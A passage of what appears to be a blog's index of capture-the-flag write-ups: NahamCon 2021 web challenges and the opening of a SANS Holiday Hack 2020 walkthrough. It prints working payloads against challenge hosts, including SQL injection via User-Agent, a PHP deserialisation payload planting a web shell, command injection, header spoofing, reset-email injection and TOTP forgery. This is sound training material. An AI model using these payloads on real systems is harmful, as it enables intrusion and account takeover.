","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-agenttester/","summary":"category web - medium\nsolution We\u0026rsquo;re given an archive to download, agenttester.zip. This contained a Dockerfile and a python web application. The files in the archive had many secrets redacted which were set using environment variables. One specifically interesting one was CHALLENGE_FLAG, which we could assume was the target value to leak.\nThe challenge URL dropped us on a page where we need to login. So, create an account, login and land on the home page of the agent tester.","title":"NahamCon2021 CTF - AgentTester"},{"content":"category web - medium\nsolution The challenge URL drops us on a page where we need to login. So, create an account, login and land on the home page of a blog.\n  After creating a new post, you can see who visited your blog in the profile section.\n  Poking around will reveal that if you tamper with your user agent string, that is what will show up in the analytics section.\n  More fiddling will reveal that a SQL injection vulnerability lives in the User-Agent header, where the result of your injection will be available in the analytics section.\nRequest:\nGET /post/Test HTTP/1.1 Host: challenge.nahamcon.com:30821 User-Agent: \u0026#39; Accept: image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://challenge.nahamcon.com:30821/post/Test Cookie: authtoken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImZvbyJ9.iJn59ivffAYcLnrD2M9B3fFHYp9AuV-BOJl75S1k-jo Response:\nHTTP/1.1 400 BAD REQUEST Content-Type: text/html; charset=utf-8 Content-Length: 312 \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD HTML 3.2 Final//EN\u0026#34;\u0026gt; \u0026lt;title\u0026gt;400 Bad Request\u0026lt;/title\u0026gt; \u0026lt;h1\u0026gt;Bad Request\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;(sqlite3.OperationalError) unrecognized token: \u0026amp;quot;\u0026#39;\u0026#39;\u0026#39;);\u0026amp;quot;\u0026lt;br\u0026gt;[SQL: insert into visit (post_id, user_id, ua) values (5,2,\u0026#39;\u0026#39;\u0026#39;);]\u0026lt;br\u0026gt;(Background on this error at: http://sqlalche.me/e/13/e3q8)\u0026lt;/p\u0026gt; Easy! You can leak the admin username and password with these payloads:\n Username: User-Agent: ' || (SELECT username from user limit 1) || ' Password: User-Agent: ' || (SELECT password from user limit 1) || '    Logging in with admin:J3H8cqMNWxH68mTj Reveals the flag.\n  ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-bad-blog/","summary":"category web - medium\nsolution The challenge URL drops us on a page where we need to login. So, create an account, login and land on the home page of a blog.\n  After creating a new post, you can see who visited your blog in the profile section.\n  Poking around will reveal that if you tamper with your user agent string, that is what will show up in the analytics section.","title":"NahamCon2021 CTF - Bad Blog"},{"content":"category web - medium\nsolution The challenge URL drops us on a page where we can submit cereals.\n  We are also given two files to download, index.php \u0026amp; log.php. I quickly spotted an unsafe deserialisation bug in the provided files. The cleaned up and relevant PHP code from both files were:\nindex.php\n\u0026lt;?php include \u0026#39;log.php\u0026#39;; class CerealAndMilk { public $logs = \u0026#34;request-logs.txt\u0026#34;; public $request = \u0026#39;\u0026#39;; public $cereal = \u0026#39;Captain Crunch\u0026#39;; public $milk = \u0026#39;\u0026#39;; public function processed_data($output) { echo \u0026#34;Deserilized data:\u0026lt;br\u0026gt; Coming soon.\u0026#34;; echo print_r($output); } public function cereal_and_milk() { echo $this-\u0026gt;cereal . \u0026#34; is the best cereal btw.\u0026#34;; } } $input = $_POST[\u0026#39;serdata\u0026#39;]; $output = unserialize($input); $app = new CerealAndMilk; $app -\u0026gt; cereal_and_milk($output); $app -\u0026gt; processed_data($output); ?\u0026gt;log.php\n\u0026lt;?php class log { public function __destruct() { $request_log = fopen($this-\u0026gt;logs , \u0026#34;a\u0026#34;); fwrite($request_log, $this-\u0026gt;request); fwrite($request_log, \u0026#34;\\r\\n\u0026#34;); fclose($request_log); } } ?\u0026gt;The index.php file had a line that effectively does unserialize($_POST['serdata'];) on user input. The log.php file had a class, log() that had a __destruct() method, writing contents ($this-\u0026gt;request) to a file ($this-\u0026gt;logs). Both the logs and request properties can be controlled with an arbitrary serialized string.\nAll we needed was a malicious serialized string which we can easily generate by constructing a new log() class, setting properties and calling serialize() on it.\nclass log { public function __construct() { $this-\u0026gt;logs = \u0026#34;poo.php\u0026#34;; $this-\u0026gt;request = \u0026#34;\u0026lt;?=`\\$_GET[0]`?\u0026gt;\u0026#34;; } public function __destruct() { $request_log = fopen($this-\u0026gt;logs , \u0026#34;a\u0026#34;); fwrite($request_log, $this-\u0026gt;request); fwrite($request_log, \u0026#34;\\r\\n\u0026#34;); fclose($request_log); } } $l = new log(); $input = serialize($l); echo $input . PHP_EOL; This should output the following line we can use as input to the serdata POST parameter:\nO:3:\u0026#34;log\u0026#34;:2:{s:4:\u0026#34;logs\u0026#34;;s:7:\u0026#34;poo.php\u0026#34;;s:7:\u0026#34;request\u0026#34;;s:15:\u0026#34;\u0026lt;?=`$_GET[0]`?\u0026gt;\u0026#34;;} I could replicate this locally, but had trouble on the challenge service. I asked for some help from the folks over at HackSouth, and after a bunch of debugging I realised their payloads used a 4 instead of the 2 for the number of properties in the class. I\u0026rsquo;m still confused by this. Anyways. The updated payload that wrote my shell was:\nO:3:\u0026#34;log\u0026#34;:4:{s:4:\u0026#34;logs\u0026#34;;s:7:\u0026#34;poo.php\u0026#34;;s:7:\u0026#34;request\u0026#34;;s:15:\u0026#34;\u0026lt;?=`$_GET[0]`?\u0026gt;\u0026#34;;} POST /index.php HTTP/1.1 Host: challenge.nahamcon.com:32469 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 84 Origin: http://challenge.nahamcon.com:32469 Connection: close Referer: http://challenge.nahamcon.com:32469/index.php Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; 2passwordAuth=eyJpZCI6MX0.YE8cpg.H-KAOClMD0uq5M7ycSJMzLtOHoM Upgrade-Insecure-Requests: 1 serdata=O:3:\u0026#34;log\u0026#34;:4:{s:4:\u0026#34;logs\u0026#34;;s:7:\u0026#34;poo.php\u0026#34;;s:7:\u0026#34;request\u0026#34;;s:15:\u0026#34;\u0026lt;?=`$_GET[0]`?\u0026gt;\u0026#34;;} Using the command exec I found the ndwbr7pVKNCrhs-CerealnMilk/ folder that had the flag.\n$ curl \u0026#34;http://challenge.nahamcon.com:32469/poo.php?0=cat%20ndwbr7pVKNCrhs-CerealnMilk/flag.txt\u0026#34; flag{70385676892a2a813a666961ddd6f899} ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-cereal-and-milk/","summary":"category web - medium\nsolution The challenge URL drops us on a page where we can submit cereals.\n  We are also given two files to download, index.php \u0026amp; log.php. I quickly spotted an unsafe deserialisation bug in the provided files. The cleaned up and relevant PHP code from both files were:\nindex.php\n\u0026lt;?php include \u0026#39;log.php\u0026#39;; class CerealAndMilk { public $logs = \u0026#34;request-logs.txt\u0026#34;; public $request = \u0026#39;\u0026#39;; public $cereal = \u0026#39;Captain Crunch\u0026#39;; public $milk = \u0026#39;\u0026#39;; public function processed_data($output) { echo \u0026#34;Deserilized data:\u0026lt;br\u0026gt; Coming soon.","title":"NahamCon2021 CTF - Cereal and Milk"},{"content":"category web - medium\nsolution This was a tricker, but fun one. The challenge URL drops us on a login page with an OTP field.\n  Signing up for an account responsed with a JSON structure containing a url key with an otpauth URI.\nRequest\nPOST /signup HTTP/1.1 Host: challenge.nahamcon.com:30809 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://challenge.nahamcon.com:30809/signup Content-Type: application/json Origin: http://challenge.nahamcon.com:30809 Content-Length: 80 Connection: close Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E {\u0026#34;username\u0026#34;:\u0026#34;test\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;test@test.com\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;test\u0026#34;,\u0026#34;password2\u0026#34;:\u0026#34;test\u0026#34;} Response\nHTTP/1.1 200 OK Content-Type: application/json Content-Length: 95 {\u0026#34;url\u0026#34;:\u0026#34;otpauth://totp/2Password:test?secret=ORSXG5BRGIZTINJWG44DS%3D%3D%3D\u0026amp;issuer=2Password\u0026#34;} The browser displayed a QR code that you could scan using any OTP application. Once logged in, the site had some secrets management features. I messed around with it for quite a while with no real pwnage.\nThe forgot password reset first had you enter a username before redirecting to a page with locked fields containing an accounts email address. I found the admin user this way.\n  Intercepting the request when hitting the Confirm button, we could change the email address to something else. However, when you did that we got an error.\n\u0026lt;div class=\u0026#34;alert alert-danger mt-3\u0026#34;\u0026gt; The provided email does not contail the user\u0026amp;#39;s email \u0026lt;/div\u0026gt; So the original email had to be in the field. Eventually I found that if I put my temp email (created using https://mail.tm/en/) and then the real one, separated with a ;, I got the reset email.\nPOST /reset_password HTTP/1.1 Host: challenge.nahamcon.com:30809 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://challenge.nahamcon.com:30809/reset_password?username=admin Content-Type: application/json Origin: http://challenge.nahamcon.com:30809 Content-Length: 80 Connection: close {\u0026#34;username\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;tempemail@mail.tm; admin@congon4tor.me\u0026#34;} Response:\nHTTP/1.1 200 OK Content-Type: application/json Content-Length: 17 {\u0026#34;success\u0026#34;:true} Clicking the link let you reset the password for the account. To login though, you needed to provide an OTP and we obviously don’t have one. A closer look at the signing up process and that otpauth URI, I learnt that the secret was a base32 encoded value. Decoding the secret in the one we had for our signup process, we find:\n Original URI: otpauth://totp/2Password:test?secret=ORSXG5BRGIZTINJWG44DS%3D%3D%3D\u0026amp;issuer=2Password Secret: ORSXG5BRGIZTINJWG44DS%3D%3D%3D Decoded: test123456789 CyberChef  If the secret for our OTP contained our username, maybe admins is admin123456789 (or MFSG22LOGEZDGNBVGY3TQOI= base32 encoded). To test this, I used pyotp\u0026rsquo;s TOTP() method to generate OTP\u0026rsquo;s.\nimport pyotp totp = pyotp.TOTP(\u0026#39;MFSG22LOGEZDGNBVGY3TQOI=\u0026#39;) print(totp.now()) # =\u0026gt; \u0026#39;492039\u0026#39; Using the password I set for the admin account and the OTP\u0026rsquo;s I was generating, I could login as admin!\nLast step was to reveal the flag with another OTP.\n  ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-imposter/","summary":"category web - medium\nsolution This was a tricker, but fun one. The challenge URL drops us on a login page with an OTP field.\n  Signing up for an account responsed with a JSON structure containing a url key with an otpauth URI.\nRequest\nPOST /signup HTTP/1.1 Host: challenge.nahamcon.com:30809 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://challenge.","title":"NahamCon2021 CTF - Imposter"},{"content":"category warmups - easy\nsolution The challenge URL had a web based echo service.\n  Many special characters, except for \u0026lt; and ` were filtered. It took me a while but I found the param had command injection. For example:\nGET /?echo=`id` HTTP/1.1 Host: challenge.nahamcon.com:30074 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://challenge.nahamcon.com:30074/?echo=food Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E Upgrade-Insecure-Requests: 1 Would respond with:\n\u0026lt;html\u0026gt; \u0026lt;title\u0026gt; $Echo \u0026lt;/title\u0026gt; \u0026lt;h1\u0026gt;$Echo\u0026lt;/h1\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;get\u0026#34; name=\u0026#34;index.php\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;echo\u0026#34; id=\u0026#34;echo\u0026#34; size=\u0026#34;80\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Echo\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;h3\u0026gt; uid=33(www-data) gid=33(www-data) groups=33(www-data) \u0026lt;/h3\u0026gt; [...] If you tried to run cat ../flag.txt, the server would respond with Man that's a mouthful to echo, what even?. A length check was implemented, so to get a smaller command, use \u0026lt; ../flag.txt.\nGET /?echo=`\u0026lt;%20../flag.txt` HTTP/1.1 Host: challenge.nahamcon.com:30074 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://challenge.nahamcon.com:30074/?echo=food Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E Upgrade-Insecure-Requests: 1 The flag is then returned.\n\u0026lt;html\u0026gt; \u0026lt;title\u0026gt; $Echo \u0026lt;/title\u0026gt; \u0026lt;h1\u0026gt;$Echo\u0026lt;/h1\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;get\u0026#34; name=\u0026#34;index.php\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;echo\u0026#34; id=\u0026#34;echo\u0026#34; size=\u0026#34;80\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Echo\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;h3\u0026gt; flag{1beadaf44586ea4aba2ea9a00c5b6d91} \u0026lt;/h3\u0026gt; [...] ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-echo/","summary":"category warmups - easy\nsolution The challenge URL had a web based echo service.\n  Many special characters, except for \u0026lt; and ` were filtered. It took me a while but I found the param had command injection. For example:\nGET /?echo=`id` HTTP/1.1 Host: challenge.nahamcon.com:30074 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://challenge.nahamcon.com:30074/?echo=food Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.","title":"NahamCon2021 CTF - Echo"},{"content":"category web - easy\nsolution The challenge URL returns the message Sorry, this page is not accessible externally.\n  Add the X-Forwarded-For: 127.0.0.1 header to reveal the flag.\nGET / HTTP/1.1 Host: challenge.nahamcon.com:30903 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close X-Forwarded-For: 127.0.0.1 Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E Upgrade-Insecure-Requests: 1 The response has the flag.\n\u0026lt;p class=\u0026#34;card-text\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;alert alert-success\u0026#34; role=\u0026#34;alert\u0026#34;\u0026gt; \u0026lt;b\u0026gt;Welcome!\u0026lt;/b\u0026gt; Your internal access key is: \u0026lt;code\u0026gt;flag{26080a2216e95746ec3e932002b9baa4}\u0026lt;/code\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/p\u0026gt; ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-homeward-bound/","summary":"category web - easy\nsolution The challenge URL returns the message Sorry, this page is not accessible externally.\n  Add the X-Forwarded-For: 127.0.0.1 header to reveal the flag.\nGET / HTTP/1.1 Host: challenge.nahamcon.com:30903 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close X-Forwarded-For: 127.0.0.1 Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E Upgrade-Insecure-Requests: 1 The response has the flag.\n\u0026lt;p class=\u0026#34;card-text\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;alert alert-success\u0026#34; role=\u0026#34;alert\u0026#34;\u0026gt; \u0026lt;b\u0026gt;Welcome!","title":"NahamCon2021 CTF - Homeward Bound"},{"content":"category warmups - easy\nsolution The downloaded file contained a string, which looked like it was base64 encoded. The challenge title was also base64 reversed, esab64.\n❯ cat esab64 mxWYntnZiVjMxEjY0kDOhZWZ4cjYxIGZwQmY2ATMxEzNlFjNl13X To solve, reverse the string, base64 decode and then reverse it again.\nimport base64 with open(\u0026#34;esab64\u0026#34;, \u0026#34;r\u0026#34;) as f: s = f.readline() s = s[::-1] d = base64.b64decode(s) print(d[::-1][:-1]) Running it gives us the flag.\n$ python3 solve.py b\u0026#39;flag{fb5211b498afe87b1bd0db601117e16e}\u0026#39; ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-esab64/","summary":"category warmups - easy\nsolution The downloaded file contained a string, which looked like it was base64 encoded. The challenge title was also base64 reversed, esab64.\n❯ cat esab64 mxWYntnZiVjMxEjY0kDOhZWZ4cjYxIGZwQmY2ATMxEzNlFjNl13X To solve, reverse the string, base64 decode and then reverse it again.\nimport base64 with open(\u0026#34;esab64\u0026#34;, \u0026#34;r\u0026#34;) as f: s = f.readline() s = s[::-1] d = base64.b64decode(s) print(d[::-1][:-1]) Running it gives us the flag.\n$ python3 solve.py b\u0026#39;flag{fb5211b498afe87b1bd0db601117e16e}\u0026#39; ","title":"NahamCon2021 CTF - Esab64"},{"content":"category warmups - easy\nsolution The downloaded file you get is an image, when opened looks like this:\n  Output of exiftool shows that there is a thumbnail, with a hint to extract it right at the bottom.\n❯ exiftool pollex.jpg ExifTool Version Number : 12.16 File Name : pollex.jpg Directory : . File Size : 37 KiB File Modification Date/Time : 2021:03:13 13:40:45+02:00 File Access Date/Time : 2021:03:15 09:53:11+02:00 File Inode Change Date/Time : 2021:03:15 09:53:11+02:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Exif Byte Order : Little-endian (Intel, II) Image Description : Man giving thumb up on dark black background. Software : Google Artist : Stevanovic Igor Copyright : (C)2013 Stevanovic Igor, all rights reserved Exif Version : 0220 Color Space : sRGB Interoperability Index : R98 - DCF basic file (sRGB) Interoperability Version : 0100 Compression : JPEG (old-style) Thumbnail Offset : 334 Thumbnail Length : 26693 XMP Toolkit : XMP Core 4.4.0-Exiv2 Creator Tool : Google Description : Man giving thumb up on dark black background. Rights : (C)2013 Stevanovic Igor, all rights reserved Creator : Stevanovic Igor Current IPTC Digest : c7c2ff906c74de09234ddcb2c831803b Envelope Record Version : 4 Coded Character Set : UTF8 Application Record Version : 4 By-line : Stevanovic Igor Credit : igor - Fotolia Copyright Notice : (C)2013 Stevanovic Igor, all rights reserved Caption-Abstract : Man giving thumb up on dark black background. IPTC Digest : c7c2ff906c74de09234ddcb2c831803b Image Width : 424 Image Height : 283 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 424x283 Megapixels : 0.120 Thumbnail Image : (Binary data 26693 bytes, use -b option to extract) So, extract the thumbnail with: exiftool -b -ThumbnailImage pollex.jpg \u0026gt; image.png. The thumbnail has the flag.\n  ","permalink":"https://leonjza.github.io/blog/2021/03/15/nahamcon2021-ctf-pollex/","summary":"category warmups - easy\nsolution The downloaded file you get is an image, when opened looks like this:\n  Output of exiftool shows that there is a thumbnail, with a hint to extract it right at the bottom.\n❯ exiftool pollex.jpg ExifTool Version Number : 12.16 File Name : pollex.jpg Directory : . File Size : 37 KiB File Modification Date/Time : 2021:03:13 13:40:45+02:00 File Access Date/Time : 2021:03:15 09:53:11+02:00 File Inode Change Date/Time : 2021:03:15 09:53:11+02:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.","title":"NahamCon2021 CTF - Pollex"},{"content":"  foreword After tweaking the final bits for a successful MD5 hash collision in a tampered blockchain block, I\u0026rsquo;m met with a \u0026ldquo;Congratulations\u0026rdquo; message as I had just completed the final objective for the 2020 SANS Holiday Hack Challenge!\nFor a few days during my holiday break I set out to play the challenge this year. I\u0026rsquo;ve dabbled with Holiday Hack challenges in the past, however, this was the first one I actually finished (thanks COVID?). Anyways, this post is basically one big spoiler, but details on the challenges and how I solved \u0026lsquo;em follows.\nTo help navigate this monster, I suggest you check out the table of contents on the side.\nintro Knowing the format of Holiday Hack and how to actually get to challenges is something I struggled with in the past. Having a character that bounces around a map is confusing, and unexpected at first. But, once you figure out which bits are important (your location, your badge and the challenges themselves), you should be good to go. This post is a good \u0026ldquo;getting started\u0026rdquo; guide to demystify some of that stuff for the 2020 challenges.\nEmbrace the format, it\u0026rsquo;s part of the fun.\n  me and some hacker fam in the talks lobby!   I won’t repeat all of the logistics, instead, I want to dive straight into the challenges themselves. Basically, there were two \u0026ldquo;types\u0026rdquo; of challenges. The main objectives and the \u0026ldquo;terminal\u0026rdquo; challenges. Terminal challenges were typically easier (but definitely fun and challenging too!), and once completed the Elf next to the terminal would provide some hints and other info for objectives.\nformat I never really found myself in a position where I did not have an idea of what I had to do. Very clear directions on the challenges were given in the form of hints from Elves, solving terminal challenges or by viewing the Hints section in your badge.\nterminals Once completed, terminal challenges would reveal vital hints for the main objectives, so clearing them was really useful and fun!\nunescape tmux Pepper Minstix stands next to a terminal called \u0026ldquo;Unescape Tmux\u0026rdquo; in the entry area. Something about watching a bird, I don\u0026rsquo;t know.\n  pepper minstix being... weird.     unescape tmux initial shell   Solving this challenge is really, really easy. You can check out existing tmux sessions with tmux ls. If there is only one, running tmux attach will reattach to it.\n  right...   Anyways, solving this one gives us some information about the Santavator and how to operate it.\n You found her! Thanks so much for getting her back!\nHey, maybe I can help YOU out!\nThere\u0026rsquo;s a Santavator that moves visitors from floor to floor, but it\u0026rsquo;s a bit wonky.\nYou\u0026rsquo;ll need a key and other odd objects. Try talking to Sparkle Redberry about the key.\nFor the odd objects, maybe just wander around the castle and see what you find on the floor.\nOnce you have a few, try using them to split, redirect, and color the Super Santavator Sparkle Stream (S4).\nYou need to power the red, yellow, and green receivers with the right color light!\n kringle kiosk Shinny Upatree stands next to a terminal called \u0026ldquo;Kringle Kiosk\u0026rdquo; in the entry area. Apparently this terminal has a map, some form of badge printer and more!\n  shinny upatree looking dashing   Starting the challenge we get.\n  kringle kiosk initial shell   From the initial output we\u0026rsquo;re asked if we can get a bash shell.\nHitting enter after that message we\u0026rsquo;re presented with a menu with a few options. Playing with option 4 to Print Name Badge, if you entered ;/bin/bash as your name you will solve the challenge and get the shell.\n  kringle kiosk bash shell   I was curious about where the cowsay came from, which looks like it was as a result of the ~/.bashrc file (there has to be more here\u0026hellip;):\n# file: ~/.bashrc export PAGER=less export PATH=/usr/games:$PATH /home/elf/runtoanswer WelcomeToSantasCastle cat /opt/success.txt sleep 2 linux primer Sugarplum Mary stands next to a terminal called \u0026ldquo;Linux Primer\u0026rdquo; in the courtyard. Apparently this terminal has some Linux basic\u0026rsquo;s material we have to go through.\n  linux primer in courtyard   There isn\u0026rsquo;t much to say about this challenge. It\u0026rsquo;s very basic Linux stuff that you need to do based on the question that you get on the top pane. An example of what that looks like is below.\n  linux primer challenge flow   Solving this challenge gave hints for the Point-of-Sale objective.\nspeaker unprep Bushy Evergreen stands next to a terminal called \u0026ldquo;Speaker UNPrep\u0026rdquo; in the courtyard. Looks like Bushy needed help opening the Speaker Unpreparedness room.\n  speaker unpreparedness in the talks lobby   Opening the terminal challenge for the first time shows the following:\n  speaker unpreparedness terminal welcome message   This challenge actually consisted of three challenges in total; door, lights and vending machine and Bushy was happy to give hints for each after completing one. Editable versions of each challenge lived in the lab/ directory, making it possible to fiddle with them and not break the \u0026ldquo;real\u0026rdquo; ones.\ndoor The most important of the challenges, but also the easiest one, we start by just running the door program and see how it behaves.\nelf@aaa8cc7e08d2 ~ $ ./door You look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There\u0026#39;s gotta be a tool for this... What do you enter? \u0026gt; poo Checking...... Beep boop invalid password Ok, poo is not the password. If we run strings over the binary we could maybe narrow it down. A good string to search for would be \u0026ldquo;What do you enter?\u0026quot;. I usually grep for these types of things to narrow a match down with a little bit of context using the -A and -B flags to print me some data before and after a match. The output from strings over a binary can be noisy, so this is a bit of a habit I guess.\nelf@aaa8cc7e08d2 ~ $ strings door | grep -i \u0026#34;what do you enter\u0026#34; -A 10 -B 10 6666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ vRQ\u0026gt; 8STs LwH\u0026#39; at 0123456789abcdef ) when slicing ` connection resetentity not foundalready borrowed$ /home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There\u0026#39;s gotta be a tool for this... What do you enter? \u0026gt; opendoor (bytes Overflowextern \u0026#34; NulErrorBox\u0026lt;Any\u0026gt;thread \u0026#39;expected, found Door opened! That would have opened the door! Be sure to finish the challenge in prod: And don\u0026#39;t forget, the password is \u0026#34;Op3nTheD00r\u0026#34; Beep boop invalid password src/liballoc/raw_vec.rscapacity overflowa formatting trait implementation returned an error/ usr/src/rustc-1.41.1/src/libcore/fmt/mod.rsstack backtrace: - cannot panic during the backtrace function/usr/src/rustc-1.41.1/vendor/backtrace/src/lib.rsS omething went wrong: Checking...Something went wrong reading input: Something went wrong in the environment: couldn\u0026#39;t get the executable name Something went wrong in the environment: RESOURCE_IDThe error message is: ask for help! Notice the section that reads And don't forget, the password is \u0026quot;Op3nTheD00r\u0026quot; ? There\u0026rsquo;s the password too! If you just grepped for password you would have also found this.\nelf@aaa8cc7e08d2 ~ $ ./door You look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There\u0026#39;s gotta be a tool for this... What do you enter? \u0026gt; Op3nTheD00r Checking...... Door opened! lights Running the lights program the output makes quite a big fuss about the lights.conf configuration file.\nelf@51340abdb0bc ~/lab $ ./lights The speaker unpreparedness room sure is dark, you\u0026#39;re thinking (assuming you\u0026#39;ve opened the door; otherwise, you wonder how dark it actually is) You wonder how to turn the lights on? If only you had some kind of hin--- \u0026gt;\u0026gt;\u0026gt; CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf ---t to help figure out the password... I guess you\u0026#39;ll just have to make do! The terminal just blinks: Welcome back, elf-technician What do you enter? \u0026gt; Investigating the configuration files\u0026rsquo; contents shows what looks like an \u0026ldquo;encrypted\u0026rdquo; version of the password is stored.\nelf@51340abdb0bc ~/lab $ cat lights.conf password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 name: elf-technician I fiddled with the values for a bit, and eventually set the password value for name and ran lights again after reading the hint we had on our badge.\nelf@5641592049a0 ~/lab $ cat lights.conf password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 elf@5641592049a0 ~/lab $ ./lights The speaker unpreparedness room sure is dark, you\u0026#39;re thinking (assuming you\u0026#39;ve opened the door; otherwise, you wonder how dark it actually is) You wonder how to turn the lights on? If only you had some kind of hin--- \u0026gt;\u0026gt;\u0026gt; CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf ---t to help figure out the password... I guess you\u0026#39;ll just have to make do! The terminal just blinks: Welcome back, Computer-TurnLightsOn What do you enter? \u0026gt; Computer-TurnLightsOn Checking...... That would have turned on the lights! If you\u0026#39;ve figured out the real password, be sure you run /home/elf/lights Noticed the Computer-TurnLightsOn there? That’s the password ;) Looks like the program jumps into an opportunistic decryption routine if a value starts with E$. lol.\nWith that done, running the real light program should turn the lights on in the Speaker Unpreparedness room.\n[ ... ] What do you enter? \u0026gt; Computer-TurnLightsOn Checking...... Lights on! vending-machine This was actually the very last challenge I solved, and honestly, I don\u0026rsquo;t like my solution. From all of the 